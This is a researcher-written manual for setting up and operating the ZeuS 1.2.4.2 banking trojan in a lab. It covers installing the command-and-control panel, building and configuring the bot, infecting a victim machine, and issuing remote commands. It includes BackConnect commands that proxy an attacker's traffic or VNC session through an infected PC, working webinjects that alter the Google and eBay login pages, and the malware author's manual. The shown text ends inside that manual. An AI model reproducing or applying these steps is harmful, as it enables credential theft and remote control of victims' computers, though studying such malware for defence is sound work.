ZeuS: The Missing Manual

Abstract Putting the completely unoriginal title aside, the purpose of this document is to introduce the reader to the ZeuS

bot. This paper specifically addresses version 1.2.4.2. Be forewarned that some of the information here is

cursory or incomplete. In other cases, your research may show that my interpretation or findings were

completely wrong. Please let me know so that I can update this documentation. I can be reached at

zeus.research@gmail.com

Along with a basic introduction, I’ll include the essential information required to install a ZeuS infrastructure,

configure and install a bot, describe the various functions available in the ZeuS Control Panel, and explain the

BackConnect functionality that was incorporated into ZeuS 1.2.4.2. This paper will not directly discuss the

ethics regarding the operation of botnets nor will it cover the methods used to distribute the bot installer. It also

is not intended to be an authoritative reverse engineering attempt of the bot. Ultimately, this guide is meant as a

primer to help fellow researchers jumpstart their own investigations by setting up a viable test environment and

providing you with an understanding of how the pieces operate. Don’t be intimidated by the length of the

document; more than half of it is screenshots with some type of explanation. I wanted to provide screenshots in

addition to some narrative because some people may not actually be able to run through the exercise.

Acknowledgements Several people provided key insight into my understanding of the ZeuS bot. Most, if not all of them, asked me

to withhold their names. So, I’ll just extend a heart-felt ‘Thank You’ to those who helped me.

Table of Contents

Abstract ................................................................................................................................................................... 1

Acknowledgements................................................................................................................................................. 1

Introduction............................................................................................................................................................. 4

Figure 1: Typical ZeuS infrastructure............................................................................................................. 4

Infrastructure........................................................................................................................................................... 5

Test Environment................................................................................................................................................ 5

Figure 2: Beginning the XAMPP install......................................................................................................... 6

Figure 3: XAMPP initial warning screen........................................................................................................ 7

Figure 4: Install location ................................................................................................................................. 8

Figure 5: XAMPP options .............................................................................................................................. 9

Figure 6: Install status................................................................................................................................... 10

Figure 7: Install complete ............................................................................................................................. 11

Figure 8: Checking for ports ......................................................................................................................... 12

Figure 9: Starting the environment ............................................................................................................... 13

Figure 10: Configuring the Windows Firewall............................................................................................. 14

Figure 11: Start MySQL ............................................................................................................................... 15

Figure 12: XAMPP Control Panel ................................................................................................................ 16

Figure 13: Configuration complete............................................................................................................... 17

Figure 14: Modify the PHP configuration file.............................................................................................. 18

Installing the ZeuS Control Panel ..................................................................................................................... 19

Figure 15: ZeuS 1.2.4.2 install bundle.......................................................................................................... 19

Figure 16: ZeuS web folder copied over to the htdocs folder....................................................................... 20

Figure 17: ZeuS Control Panel installer........................................................................................................ 21

Figure 18: ZeuS installer progress ................................................................................................................ 22

Figure 19: ZeuS Control Panel login ............................................................................................................ 23

Bot configuration .................................................................................................................................................. 24

Figure 20: ZeuS bot builder .......................................................................................................................... 24

Figure 21: Bot Builder screen ....................................................................................................................... 25

Step 1: Load config........................................................................................................................................... 25

Step 2: Edit config ............................................................................................................................................ 26

Step 3: Build config .......................................................................................................................................... 26

Figure 22: Saving the configuration file ....................................................................................................... 27

Step 4: Build loader .......................................................................................................................................... 27

Figure 23: Saving the bot loader................................................................................................................... 27

ZeuS Control Panel ............................................................................................................................................... 30

Figure 24: ZeuS Control Panel Login........................................................................................................... 30

Figure 25: ZeuS Control Panel Summary..................................................................................................... 31

Figure 26: ZeuS Control Panel Summary dropdown.................................................................................... 32

Figure 27: ZeuS Control Panel OS ............................................................................................................... 33

Figure 28: ZeuS Control Panel Bots ............................................................................................................. 34

Figure 29: ZeuS Control Panel Bots query ................................................................................................... 35

Figure 30: ZeuS Control Panel Context Menu ............................................................................................. 36

Figure 31: ZeuS Control Panel Scripts ......................................................................................................... 37

Figure 32: ZeuS Control Panel Add Script ................................................................................................... 38

Figure 33: ZeuS Control Panel Add Script Options ..................................................................................... 39

Figure 34: ZeuS Control Panel Search in Database...................................................................................... 40

Figure 35: ZeuS Control Panel Search in Database Contextual Menu......................................................... 41

Figure 36: ZeuS Control Panel Search in Files............................................................................................. 42

Figure 37: ZeuS Control Panel Information ................................................................................................. 43

Figure 38: ZeuS Control Panel Options........................................................................................................ 44

Figure 39: ZeuS Control Panel User............................................................................................................. 45

Figure 40: ZeuS Control Panel Users ........................................................................................................... 46

Figure 41: ZeuS Control Panel Add New User ............................................................................................ 47

BackConnect ......................................................................................................................................................... 48

Figure 42: Typical BackConnect communications flow .............................................................................. 48

Sample Webinjects................................................................................................................................................ 51

Figure 43: Google injection .......................................................................................................................... 52

Figure 44: eBay injection.............................................................................................................................. 53

Appendices............................................................................................................................................................ 54

Appendix A: manual_en.txt .............................................................................................................................. 54

Appendix B: config.txt...................................................................................................................................... 61

Appendix C: webinjects.txt............................................................................................................................... 68

Introduction Depending on whom you ask, you may be told that ZeuS is a banking trojan, html injector, form grabber or key

logger. In many ways, they are all correct. The ZeuS bot allows the criminal to almost totally manipulate the

web experience of the victim. Through this manipulation, the criminal can trick the victim into providing

credentials to nearly any online environment. Victims can also be tricked into providing personally identifying

information (PII) such as social security numbers, mother’s maiden name, and even ATM/pin/CVV

information. Unlike a general keylogger, which captures every keystroke, ZeuS can be configured to grab just

the essential information, which streamlines the criminal’s access to your information. They no longer have to

sort through large amounts of useless keylog data. ZeuS conveniently stores all this information in an SQL

database and even provides a query tool.

ZeuS is a typical bot in that there is a bot client that is installed on the victim’s PC and there is also a command-

and-control (C&C) infrastructure used to manage the bots. Unlike some newer bots which utilize fastflux

technology and massive amounts of domain registrations to remain alive, most known ZeuS botnets is relatively

simplistic. The C&C infrastructure usually resides on a single server and typically resides on a server hosted by

a provider with a questionable reputation. If the C&C server becomes unavailable, the ZeuS bot can be

configured to failover to another server by using advanced configuration options. But these options must be set

in advance. Typically if you find an infected victim, you can directly trace the communications back to the

C&C server. There is no built-in functionality to support a multi-tier infrastructure (offering layers of

indirection). This can be done with software like nginx. I believe that since there is no direct support for

middle-layer C&C servers to provide obfuscation, this is the primary motivation behind hosting on bulletproof

hosts. That is, hosting with providers who do not respond to takedown requests.

A simple ZeuS infrastructure would look like this:

Figure 1: Typical ZeuS infrastructure

Infrastructure According to the manual_ru.txt file that came with the ZeuS distribution I used, a large botnet can often be very

resource intensive. The document recommends the use of a dedicated, non-virtual server with the following

minimum hardware guidelines:

• 2GB RAM

• 2 CPUs at 2Ghz

• SATA hard drives at 7200rpm+

The infrastructure also requires:

• HTTP server (recommends Apache for Unix, IIS for Windows)

• PHP 5.2.6 or greater

• Zend optimizer 3.3 or greater

• MySQL

A rough English translation of this document is available on the Internet and is included as Appendix A.

Test Environment For the purposes of testing, 2 VMware workstation images with bridged network interfaces will work. One of

the VMWare images will host the ZeuS infrastructure and one will be the victim image. For the remainder of

this document, I’ll refer to them as:

• INFRASTRUCTURE (192.168.1.100)

• VICTIM (192.168.1.200)

My test environment consists of a rather old but reliable Dell Dimension 8300 configured with 2GB RAM and

150GB of drive space.

My VMware images consist of Windows XP SP2, Internet Explorer 7, Firefox 3.0.11 and no antivirus software.

On INFRASTRUCTURE, I also installed XAMPP 1.7.1. This package installs:

• Windows version of Apache 2.2.11 + OpenSSL 0.9.8i

• PHP 5.2.9, Zend 2.2.0

• MySQL server 5.1.33

• Several other unnecessary components

It’s just a convenient way to get a working environment up and running. You can find XAMPP here:

http://www.apachefriends.org/en/xampp.html

Assuming that you already have your VMware images installed and you’ve downloaded the XAMPP installer,

here are several figures that show the options for installing and configuring XAMPP to function with ZeuS.

Figure 2: Beginning the XAMPP install

To begin the installation of XAMPP, simply double-click the installer, select your language preference, and

click ‘OK’. I selected English as the preferred language and all my examples will be in English.

Figure 3: XAMPP initial warning screen

On the next screen, review the comments and, if appropriate, client ‘Next’.

Figure 4: Install location

For testing purposes, I left the default destination folder unchanged. Set appropriately for your environment and

click ‘Next’. My examples will assume that XAMPP is installed in c:\xampp.

Figure 5: XAMPP options

Set the options as shown in Figure 4. To keep things as stable as possible across reboots, make sure to

configure both the Apache and MySQL applications to run as services.

Figure 6: Install status

This figure just represents what you can expect to see while the XAMPP installer performs the actual

installation.

Figure 7: Install complete

If all goes well, the install should complete without errors. Troubleshooting the installation of XAMPP is

beyond the scope of this document. When your installation completes, click ‘Finish’.

Figure 8: Checking for ports

After you click ‘Finish’, the installer will check for the necessary ports.

Figure 9: Starting the environment

After the installer finishes checking for the necessary ports, it will attempt to start both the Apache and MySQL

services.

Figure 10: Configuring the Windows Firewall

The Windows Firewall will complain that the Apache server is attempting to access ports that are blocked.

Since this is a test environment, I selected the option to ‘Unblock’. This will allow the Apache server to

function properly, which is a requirement for the ZeuS infrastructure.

Figure 11: Start MySQL

After Apache has started and the ports have been unblocked, MySQL will attempt to start.

Figure 12: XAMPP Control Panel

Once the services have successfully started, you will be notified that the XAMPP Control Panel is available.

Click ‘OK’.

Figure 13: Configuration complete

There is, technically, no need to start the XAMPP Control Panel at this point. Click ‘No’. The installer will

exit and you will return to your desktop.

Figure 14: Modify the PHP configuration file

According to the manual_en.txt file found in Appendix A, there are several modifications that must be made to

a production installation of PHP. They are:

• safe_mode = Off

• magic_quotes_gpc = Off

• magic_quotes_runtime = Off

• memory_limit = 256M; or higher

• post_max_size = 100M; or higher

• display_errors = Off

These modifications are not necessary for our test environment. However, you do need to enable the Zend

optimizer. To do that, navigate to the php.ini file located in c:\xampp\php. Find the line highlighted above and

change the value to 1. Save and exit from the file.

Now is a good time to restart INFRASTRUCTURE. This will give the new install and configuration a chance

to startup properly before continuing.

Installing the ZeuS Control Panel Now that XAMPP is installed, it is time to install the ZeuS Control Panel and have it configure the database.

All of the steps in this section assume that you are working on INFRASTRUCTURE.

Begin by extracting the ZeuS package. It should look like this:

Figure 15: ZeuS 1.2.4.2 install bundle

Copy the directory named “web” over to c:\xampp\htdocs.

Figure 16: ZeuS web folder copied over to the htdocs folder

Note that I was unable to use Internet Explorer for these steps because I kept getting PHP errors. I recommend

Firefox for these steps. Open Firefox and point the browser to: http://localhost/web/install/index.php. The

screen should look similar to this:

Figure 17: ZeuS Control Panel installer

There are several important options to note here:

• Root user:

o User: This is the user that you’ll use to access the infrastructure.

o Password: This is the password for the primary userid.

• MySQL server:

o Host: For the purposes of the test environment, the entry for 127.0.01 will suffice. This is

because the XAMPP installer installs MySQL on this same image. But you could easily point it

to another instance of MySQL on another server.

o User: The MySQL installed with XAMPP includes the root userid so accepting the default for

the test environment works fine.

o Password: The root user that MySQL installed has a blank password. Again, while this would

be a bad idea for a production environment, leaving it blank is fine for the test environment.

o Database: By default, ZeuS will try to create a database named cpdb. That is fine for the test

environment.

• Local folders:

o Reports: Specifies a subdirectory in the server directory that will hold local report files.

• Options section contains 4 other options:

o Online bot timeout: This is the time, measured in MINUTES, before a bot is flagged as offline.

o Encryption key: This contains the encryption key and is very important to the operation of the

botnet. Select a text phrase that will serve as your encryption key. You’ll need this information

later so don’t forget what it is.

o Enable write reports to database: This is selected by default and it directs the ZeuS

infrastructure to write reports to the database.

o Enable write reports to local path: If you select this option, report files will be written to the

local directory specified in the Reports option.

After you’ve selected all of your options, click the Install button. While the install is running, you’ll see a

screen like this that reports the install progress.

Figure 18: ZeuS installer progress

When the installer is complete, the console should be available. You can log in by directing your browser to:

http://localhost/web/cp.php

Figure 19: ZeuS Control Panel login

Before discussing the menus and options available within the ZeuS Control Panel, I’ll dive into configuring and

installing the actual bot.

Bot configuration If you look back at Figure 14, you’ll see 3 files that are used to build/configure the bot:

• builder.exe: This is the Windows application used to build the bot.

• config.txt: This is the default configuration file used to define how the bot operates.

• webinjects.txt: This is a text file which is referenced in the config.txt file. It can be named anything as

long as that name is referenced in the config.txt file. It contains specific information on creating web

injections.

Begin by launching the builder.exe application. It will look like this:

Figure 20: ZeuS bot builder

There are 2 options on the left:

• Information

• Builder

The Information tab gives you general information about the version of the bot builder. You’ll notice on the

right-hand side of the pane that there is a section labeled “Spyware status on this system”. If you happen to

infect your machine for testing purposes, you can use the “Remove spyware from this system” option.

The Builder tab is where the action really takes place.

Figure 21: Bot Builder screen

The buttons are laid out in order. That is, the steps required to build a functioning bot are:

• Load config (Browse)

• Edit config

• Build config

• Build loader

Step 1: Load config The Browse button is already populated with the configuration file named config.txt. This is the default name

for a ZeuS bot configuration file but you can load any text file as long as it is a valid ZeuS config file.

Step 2: Edit config If you click the “Edit config” button, the builder.exe application will launch Notepad.exe and load the specified

configuration file. From here you should make any necessary changes. Note: the config.txt file that is included

in this bundle is significantly different than any other ZeuS config file that you’ll find on the Internet. The

main difference is that I’ve made the file self-documenting. That is, you’ll notice a tremendous amount of

comments (lines that begin with a semicolon) that attempt to explain how a particular section works. This

information was gathered from HTML help files I had for prior versions of ZeuS as well as some Internet

forums. The information is not perfect and there are some gaps, but it is better than starting with the stock

configuration file that has no comments. The config.txt file is included in Appendix B.

Step 3: Build config Once you’re finished with edits, save the file and exit Notepad. Now click “Build config”. If the configuration

file does not contain any errors, you’ll be presented with a screen to save the configuration as shown in Figure

22. In this sample, I’m saving it to the directory that contains the builder.exe application and config.txt file.

The final file is the encrypted configuration file that the bot will attempt to download when it is first installed.

The filename it attempts to use is extracted from the config.txt file as you’ll see in a later section.

Figure 22: Saving the configuration file

Step 4: Build loader The final step in building the bot is to build the actual bot loader. Do this by clicking “Build loader”. Again,

I’m saving this to the directory with the builder.exe application. We’ll have to move both the configuration file

and bot loader later. As with the default name of the encrypted configuration file, the default filename it

attempts to use is extracted from the config.txt file.

Figure 23: Saving the bot loader

Those are the 4 high-level steps required to build the bot. I thought it was important to show the reader how

easy it is to build the configuration file and bot loader. Once they are built, they just need to be hosted.

The real trick to effectively using ZeuS is in configuring the bot to do what you want it to do. We’ll begin by

examining some of the critical settings of the config.txt file. To begin with, the config.txt file is split into 2

main sections:

• StaticConfig: This section includes settings that are hard-coded into the bot loader.

• DynamicConfig: This section includes settings that are likely to change. They are not incorporated into

the build of the bot loader. Rather, they are saved as an encrypted configuration file that must be hosted

someplace the bot can reach.

I’m not going to discuss the majority of the DynamicConfig because there are so many different ways to

configure things. Instead, I’ll refer the reader to Appendix B where you should be able to make sense of the

comments embedded in the config.txt file. However, I will discuss the settings in the StaticConfig section and a

handful of settings in the DynamicConfig section because they are essential to getting the bot to check-in and

update with the C&C infrastructure.

There are 8 settings available in the StaticConfig section of the config.txt file. They are:

• botnet: This allows you to configure the bot installer to assign the victim to a specific, named botnet.

That is, the ZeuS infrastructure can categorize victim machines into groups. This comes in handy when

you are running reports or are attempting to run a script on a certain subset of victim machines.

• timer_config: This option tells the victim how often to check for a new configuration file. For testing

purposes, these are set low in the config.txt file included with the bundle. This helps to ensure that any

changes you are making during a test are quickly incorporated.

• timer_logs: This option tells the bot how often to send accumulated data. Like the timer_config option,

this is set low to ensure that any accumulated data is quickly pushed up to the ZeuS infrastructure.

• timer_stats: This option tells the bot how often to send victim stats. The type of stats that are sent

include online status, open ports, services, SOCKS status, NAT status, and screenshots. Again, this is

set low to keep testing moving along quickly.

• url_config: This very critical option tells the bot where to retrieve the configuration file that you built

earlier while using the builder.exe application. For the purposes of our testing, we’ll use URLs with

non-routable addresses but if this were a production implementation, obviously you’d want to use an

Internet-accessible URL. The final component of the URL referenced in this option is used to derive the

default filename when using the “Build config” option in builder.exe.

• url_compip: This option points to a URL that will return the IP address of the victim. The bot then uses

this data to compare to the local IP configuration information to determine if the host is directly

connected to the Internet or if it is NAT’ed.

• encryption_key: This is another very critical option. Remember from Figure 17 when we set the

“Encryption key” setting while installing the ZeuS Control Panel? The value you used there needs to

match the value here in your configuration file.

• blacklist_languages: This parameter will prevent the bot from uploading any data that is in the

language(s) referenced in the blacklist.

There are 2 key settings in the DynamicConfig section that need to be discussed. They are:

• url_loader: This option contains the URL that points to the current version of the bot binary. The final

component of the URL referenced in this option is used to derive the default filename when using the

“Build loader” option in builder.exe.

• url_server: This parameter points to the URL of the PHP script that accepts bot uploads for stats, files,

etc.

Now you know enough to build a bot that you can load on VICTIM and have it check into

INFRASTRUCTURE. If you are using the config.txt file that is included in my ZeuS bundle, here is what you

need to change to get basic bot functionality working. These settings assume that INFRASTRUCTURE has an

IP of 192.168.1.10. If you’re using a different IP, make sure that you substitute it as appropriate.

• Step 1: Launch builder.exe and edit the configuration file.

• Step 2: Change these parameters in the config file to the values I have specified below:

o url_config "http://192.168.1.10/web/cfg_test.bin"

o encryption_key "XXX" (Replace XXX with whatever passphrase you selected as your

“Encryption key” when you installed the ZeuS Control Panel.

o url_loader "http://192.168.1.10/web/ldr_test.exe"

o url_server "http://192.168.1.10/web/gate.php"

• Step 3: Save and exit Notepad. Click the “Build config” button. Accept the default to save the file with

the name of “cfg_test.bin” in the directory where builder.exe resides.

• Step 4: Click the “Build loader” button. Accept the default to save the file with the name “ldr_test.exe”

in the same directory where you saved the “cfg_test.bin” file.

• Step 5: Copy the “cfg_test.bin” and “ldr_test.bin” files to the c:\xampp\web directory.

Everything is now complete on INFRASTRUCTURE. Now you need to infect VICTIM.

• Step 1: Log into VICTIM and launch a browser (Internet Explorer or Firefox). Point it to

http://192.168.1.10/web/ldr_test.exe.

• Step 2: Save the file to the desktop on VICTIM.

• Step 3: Close your browser.

• Step 4: Launch ldr_test.exe. The only notification you should receive is that the Windows Firewall has

been turned off.

At this point, VICTIM should be infected and it should be attempting to download the configuration file. In a

matter of minutes it should check into INFRASTRUCTURE.

Now that you have a bot checking into the C&C infrastructure, it makes sense to visit the ZeuS Control Panel.

ZeuS Control Panel In this section, we’ll walk through the various options in the ZeuS Control Panel. You will, ultimately, benefit

more by testing with the interface yourself. This is just meant to be a quick overview.

If you direct Firefox to the Control Panel (http://localhost/web/cp.php), you’ll be presented with something

similar to Figure 24. Log in using the user name and password that you selected when you installed the Control

Panel (Figure 17). Click on “Submit”.

Figure 24: ZeuS Control Panel Login

The first page you’ll land on is the Summary page. Here you’ll find information about how many bots are

installed, how many are active, and the versions of bots that are reporting in.

You move through the menus by clicking on the links on the left-hand side of the page.

Figure 25: ZeuS Control Panel Summary

As I mentioned earlier in this document, you can assign bots to specific groups. The dropdown menu on the

Summary screen allows you to obtain summary information about specific groups. In my sample, you can see

that the bot we installed on VICTIM has been assigned to the ‘test’ group.

Figure 26: ZeuS Control Panel Summary dropdown

The OS menu option will allow you to see how many of each different type OS are in the botnet. Using the

dropdown menu, you can get the same statistics for different groups of botnets.

Figure 27: ZeuS Control Panel OS

The Bots menu allows you to perform some basic searches. Most, if not all of these fields, allow wildcards (*)

and multiple items separated by a comma. Specifically, the Filter options give you these capabilities:

• Bots: Search for bots by specific name.

• Botnets: Search for all the bots in a specific botnet (group).

• IP-addresses: Search for bots by specific IP addresses.

• Countries: Search by country code.

• NAT status: Search for bots that are behind a NAT device (Inside NAT) or directly connected to the

Internet (Outside NAT). Devices that are Outside NAT can be used as SOCKS proxies.

• Online status: Search for devices that are either Online or Offline.

• Used status: Search for either Used or Not used bots.

• Comments status: Search for bots that have any assigned comments.

Once the parameters are set, click the “Accept” button to execute.

Figure 28: ZeuS Control Panel Bots

The results from the query will display in the lower pane labeled Result. Since we only have 1 bot configured

in our botnet, that’s the only result that shows up. Notice that to get this bot to display, I cleared the “NAT

status” option. That’s because my host is technically considered “Inside NAT”. If I had left the default option

of “Outside NAT”, nothing would have displayed.

Figure 29: ZeuS Control Panel Bots query

Notice that if I click on my bot, I get a pop-up, contextual menu with several options. I’m not going to go

through each of these menus but, obviously, the ZeuS Control Panel attempts to make it easy to get to

information that has been harvested. These same menu options are available under the “Bots action” menu you

see on this screen. So, if you had multiple bots, you could select several of them and then apply one of these

menu options to all of them.

Figure 30: ZeuS Control Panel Context Menu

The Scripts section allows you to run some ‘canned’ commands on individual or groups of bots.

Figure 31: ZeuS Control Panel Scripts

If you click “Add new script”, you’ll be presented with a window like this. The “Name” field will default to an

auto-generated name that you should change to something meaningful. As you can see, you can have the script

run on a specific “List of bots”, a “List of botnets”, or a “List of countries. You put the actual script command

in the “Context” field.

Figure 32: ZeuS Control Panel Add Script

If you click on the small “?” next to the Context field, you’ll get a list of the “canned” commands that are

available to use in a script. They are actually documented quite well. You can have the bot reboot, self-

destruct, download code, execute code, search for files, upload/modify Macromedia files, change the home page

and configure the BackConnect service (which I’ll discuss later).

To use one of these options in a script, you just type it into the Context field along with the specified/required

options. Then save the script. Depending on how you have your timing parameters set, the bots should begin to

download and execute the script.

Figure 33: ZeuS Control Panel Add Script Options

The “Search in database” option allows you to search for uploading information with specific parameters such

as date range, bots, botnets, IP addresses, etc.

Figure 34: ZeuS Control Panel Search in Database

The “Search in database” menu offers a contextual menu for performing some predefined searched. As you can

see, you can search for information in the protected storage, cookies, uploaded files, specific types of HTTP

traffic, POP3 data, FTP data as well as other types of data.

Figure 35: ZeuS Control Panel Search in Database Contextual Menu

If you want to search for specific strings within uploaded files, you can use the “Search in files” menu option.

Once your search has returned some files, you can use the “Files action” menu to either “Remove” then or

“Create archive and download”.

Figure 36: ZeuS Control Panel Search in Files

The “Information” menu offers some general information about server configuration, relevant paths, and your

current client.

Figure 37: ZeuS Control Panel Information

The “Options” menu will show you have certain parameters are set and allow you to change them. These

values were originally set when you installed the Control Panel. Note the “Encryption key” value. If you

change this without updating your bots, the bots will not be using the correct encryption key and you will be

unable to view any uploaded data.

Figure 38: ZeuS Control Panel Options

The “User” menu allows you to change parameters for the currently logged in user.

Figure 39: ZeuS Control Panel User

The “Users” menu allows you to Add, Enable, Disable, and Remove users to the system.

Figure 40: ZeuS Control Panel Users

When you add a user to the system, these are the granular options that are available. These correlate to the main

menu options. So, in theory, you can setup some roles-based access control.

Figure 41: ZeuS Control Panel Add New User

The “Logout” menu option will log you out and return you to the main login screen.

BackConnect Before we discuss BackConnect, I think it makes sense to discuss a feature/limitation of prior versions of ZeuS.

In prior versions of ZeuS, any infected machine that was directly Internet accessible (ie. Outside NAT), could

be used as a SOCKS proxy. The miscreant could proxy all of their SOCKS traffic through the infected victim.

This provided a level of obfuscation when the attacker wanted to anonymously access the Internet. It also

allows the attacker to assume the IP address of the victim, which is important because some institutions use the

customer IP as a portion of their authentication/authorization mechanism. It is usually used in conjunction with

other variables. While being able to use a zombie as a SOCKS proxy is certainly a nifty feature to have, it was

severely limited by the fact that the victim machine had to be directly connected to the Internet.

The malware community, being comprised of a least a few resourceful individuals, has overcome this problem

by using a software solution they label BackConnect. The BackConnect server comes in 2 flavors: Win32 and

Win64. These can be found in the install package in the folder labeled zsbcs. They function the same way. The

BackConnect software will serve as the middleman to help proxy your traffic. Basically, you copy the

appropriate BackConnect binary to a host that is directly connected to the Internet. You them use the Scripts

function from the ZeuS Control Panel and tell the victim machine to establish a connection to the BackConnect

server. Since this will be an outbound from the victim’s perspective, the perimeter controls that may sit

between the victim and the Internet are usually happy to comply. To finish the connection, the miscreant must

direct their traffic to the BackConnect server. It is important to note that each instance of the BackConnect

server can only handle 1 port at a time. So, if you’re trying to proxy web and ssh traffic, you’ll need at least 2

instances of BackConnect running. They can be on the same host.

Here’s a diagram that shows the communication flow when using BackConnect to proxy web traffic.

Figure 42: Typical BackConnect communications flow

Applying an example to the diagram above should be helpful. Let’s assume that we’re trying to proxy SOCKS

traffic through the victim.

Here’s a brief description of what’s happening:

• Step 1: Attacker installs and runs the BackConnect server on a host on the Internet. They decide that

the listening port for the attacker is going to be 2500 and the listening port for the victim machine will

be 3500. They run BackConnect with these options: zsbcs.exe listen -cp:2500 -bp:3500

Where cp is “client port” and bp is “bot port”

• Step 2: The attacker issues a command to the bot using the Scripts menu option. The script will look

like this:

bc_add socks 192.168.1.150 3500

Note that the socks keyword is a special case for the bc_add command. In all other cases, a specific port

will be referenced.

• Step 3: The victim retrieves this command.

• Step 4: After the victim bot retrieves this command, they will establish an outbound connection to the

BackConnect server (192.168.1.150) on port 3500.

• Step 5: The attacker configures their application/browser to use a SOCKS proxy at an IP address of

192.168.1.150 on port 2500. Now when the attacker makes a request for a website, the BackConnect

server will intercept this request and will hold it until the bot checks in and retrieves it.

• Steps 6 & 7: The bot retrieves the request and forwards it out to the Internet (or Intranet). The response

that comes back to the victim will be repackaged and sent back to the BackConnect server where it will

be retrieved by the attacker’s application.

Using this method, the attacker’s request will appear to come from the IP address of the victim.

Here is another scenario where BackConnect can be used to directly access the victim PC with an interactive

logon. This scenario assumes that the attacker has already used the Scripts rexec function to download and

install VNC on the victim PC. Now, even though they have VNC installed on the victim PC, they can’t access

it because it is behind a NAT. Enter BackConnect. Following the example above, here’s what the attacker

would need to do:

• Step 1: Attacker installs and runs the BackConnect server on a host on the Internet. They decide that

the listening port for the attacker is going to be 2501 and the listening port for the victim machine will

be 3501. They run BackConnect with these options: zsbcs.exe listen -cp:2501 -bp:3501

Where cp is the “client port” and bp is the “bot port”

• Step 2: The attacker issues a command to the bot using the Scripts menu option. The script will look

like this:

bc_add 5900 192.168.1.150 3501

Note that 5900 is the default port for VNC.

• Step 3: The victim retrieves this command.

• Step 4: After the victim bot retrieves this command, they will establish an outbound connection to the

BackConnect server on port 3501.

• Step 5: The attacker configures their VNC viewer application to use an IP address of 192.168.1.150 on

port 2501. Now when the attacker initiates a VNC connection to 192.168.1.150:2501, the BackConnect

server will intercept this request and will hold it until the bot checks in and retrieves it.

• Steps 6 & 7: The bot retrieves the request and forwards it to the local port 5900. The VNC server on

the victim will intercept the request and will provide a login screen. Now the attacker can log into the

machine interactively and access any applications that the normal user could.

According to the documentation, BackConnect can handle nearly any TCP or UDP port and, according to the

documentation, is also IPv6 compliant.

Sample Webinjects The ZeuS bundle that I’ve provided includes a scaled down webinjects.txt file. You can find several on the

Internet that inject into, literally, hundreds of websites. But, the purpose of this article is instructional. So, I’ve

only included 2 in my file. In the spirit of ‘showing’ the reader how things operate, I’ll cover them one at a

time. In addition to finding the webinjects.txt file in the Zip bundle, you can find it in Appendix C.

Both samples inject a field labeled “Favorite Color”. The first sample injects into the Google login page.

Here’s the code: set_url https://www.google.com/accounts/ServiceLogin* G data_before class='gaia le val' /> </td> </tr> <tr> <td></td> <td align="left"> </td> </tr> data_end data_inject <tr> <td align="right" nowrap="nowrap"> <span class="gaia le lbl"> Favorite Color: </span> </td> <td> <input type="text" name="FavColor" id="FavColor" size="18" /> </td> </tr> data_end data_after <tr> <td align="right" nowrap="nowrap"> <span class="gaia le lbl"> Password: data_end

Here’s what the user would see:

Figure 43: Google injection

The second sample injects into the eBay login page. Here’s the code: set_url https://signin.ebay.com/ws/eBayISAPI.dll?SignIn* G data_before <td style="font-size:x-small; font-family:Verdana"><a href="https://scgi.ebay.com/ws/eBayISAPI.dll?UserIdRecognizerShow">I forgot my user ID</a></td> </tr> data_end data_inject <tr> <td colspan="2" height="5"></td> </tr> <tr> <td nowrap width="70"><a name="FavColor" style="text-decoration:none"> Favorite Color</a></td> <td><input type="text" name="FavColor" maxlength="64" value="" tabindex="2" style="font-family:Arial" size="27"></td> </tr> <tr> <td></td>

<td style="font-size:x-small; font-family:Verdana"><a href="http://www.ebay.com">I forgot my favorite color</a></td> </tr> data_end data_after <tr> <td colspan="2" height="5"></td> </tr> <tr> <td nowrap width="70"><a name="Password" data_end

Here’s what the user would see:

Figure 44: eBay injection

Appendices

Appendix A: manual_en.txt This is the rough English translation of the manual_ru.txt file that was included with the ZeuS 1.2.4.2

distribution. I found it in a ZeuS forum.

User's Guide (Draft) *********************************** ============== = Contents = ============== 1. Description and features. 2. Setting up the server. 2.1. HTTP-server. 2.2. The interpreter PHP. 2.3. MySQL-server. 2.4. Control Panel. 2.4.1. Installation. 2.4.2. Update. 2.4.3. File / system / fsarc.php. 3. Setting Bot. 4. Working with BackConnect. 5. Changelog. 6. F.A.Q. 7. Myths. ============================== = 1. Description and features. = ============================== ZeuS - software to steal personal user data from remote systems, Windows. On plain language of "trojan", "backdoor", "virus". But the author does not like these words, therefore, further documentation He will call this software "Bot". Boat is fully based on the WinAPI Interception in UserMode (Ring3), this means that the bot does not use drivers or treatments in Ring0. This feature makes it possible to run even on Guest Account. Plus, it ensures greater stability and adaptability on next versions of Windows. Bot is written in Visual C + + version 9.0 +, with no additional libraries are used (no msvcrt, ATL, MFC, QT, etc. used). Code is written with the following priorities (in descending order): 1. stability (carefully checked all the results of the call functions, etc.) 2. size (to avoid duplication of algorithms, repetitive calls, functions, etc.) 3. speed (not the type of instruction while (1 ){..}, for (int i = 0; i <strlen (str); i ++){..}). Functions and features bot: 1. Sniffer traffic for the protocol TCP. 1.1. Interception of FTP logins on any port. 1.2. Interception of POP3 logins on any port. 1.3. The interception of any data from the traffic (a personal request). 2. Intercepting HTTP / HTTPS requests to wininet.dll, ie all programs working with this library. This includes Internet Explorer (any version), Maxton, etc. 2.1. Substitution .. 3. The functions of the server. 3.1 Socks4/4a/5. 3.2 Backconnect for any services (RDP, Socks, FTP, etc.) on the infected machine. You can access to a computer that is behind a NAT, or, for example, that banned from the internet connection. 3.3 Getting a screenshot of your screen in real time.

- other not leasted features --- ========================= = 2. Setting up the server. = ========================= The server is the central point of botnet's control, it get reports from bots and sends commands. It is not recommended to use the "Virtual Hosting" or "VDS", because with large botnet, the load on the server will increase, and this type of hosting is quite quickly exhausted their resources. You need a "Dedicated Server" (DS), the recommended minimum configuration: 1. 2GB of RAM. 2. 2x CPU frequency 2 GHz, 3. SATA hard drive 7200rpm + Bot requires HTTP-server with PHP + Zend Optimizer, and MySQL-server. NOTE: For Windows-systems is very important to edit (create) the following registry value: HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters \ MaxUserPort = dword: 65534 (decimal) --------------------- - 2.1. HTTP-server. -- --------------------- As an HTTP-server is recommended to use: for nix-systems - Apache version 2.2+, for Windows-systems - IIS version 6.0+. We recommend that you keep the HTTP-server on port 80 or 443 (this positive effect on bots number, as providers / proxy can block access to other non-standard ports). Download Apache: http://apache.org/dyn/closer.cgi or IIS: http://www.iis.net/ --------------------------- - 2.2. The interpreter PHP. -- --------------------------- The latest version of the control panel designed for PHP 5.2.6. It is highly recommended use the version is not lower than this version. But in extreme cases of not less than 5.2. It is important to make the following settings in php.ini: safe_mode = Off magic_quotes_gpc = Off magic_quotes_runtime = Off memory_limit = 256M; or higher. post_max_size = 100M; or higher. and recommended to change the following settings: display_errors 